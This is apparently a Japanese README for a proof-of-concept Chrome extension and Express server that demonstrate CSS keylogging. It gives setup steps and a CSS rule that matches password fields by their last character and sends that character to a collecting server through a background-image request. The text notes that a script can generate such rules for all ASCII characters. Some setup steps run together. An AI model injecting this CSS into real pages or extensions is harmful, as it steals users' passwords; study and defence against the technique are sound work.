
CSSのキーロギング機能を悪用するChrome拡張機能とExpressサーバー
CSSのキーロギング機能を利用するChrome拡張機能とExpressサーバー。
git clone https://github.com/maxchehab/CSS-Keyloggingchrome://extensions にアクセスします(または、Omniboxの右端にあるアイコンをクリックしてChromeメニューを開きます。メニューのアイコンは3本の横線です。そして、「その他のツール」メニューの「拡張機能」を選択して同じ場所に移動します)。Load unpacked extension… をクリックして、ファイル選択ダイアログを表示します。css-keylogger-extension を選択します。yarnyarn startC を押します。この攻撃は非常にシンプルです。CSS属性セレクタを利用して、background-image を読み込むという名目で外部サーバーにリソースを要求します。
例えば、以下のCSSは type が password に等しく、value が a で終わるすべての入力を選択します。
そして、http://localhost:3000/a から画像をロードしようとします。
input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}
シンプルなスクリプトを使用することで、すべてのASCII文字に対してカスタムリクエストを送信するCSSファイルを作成できます。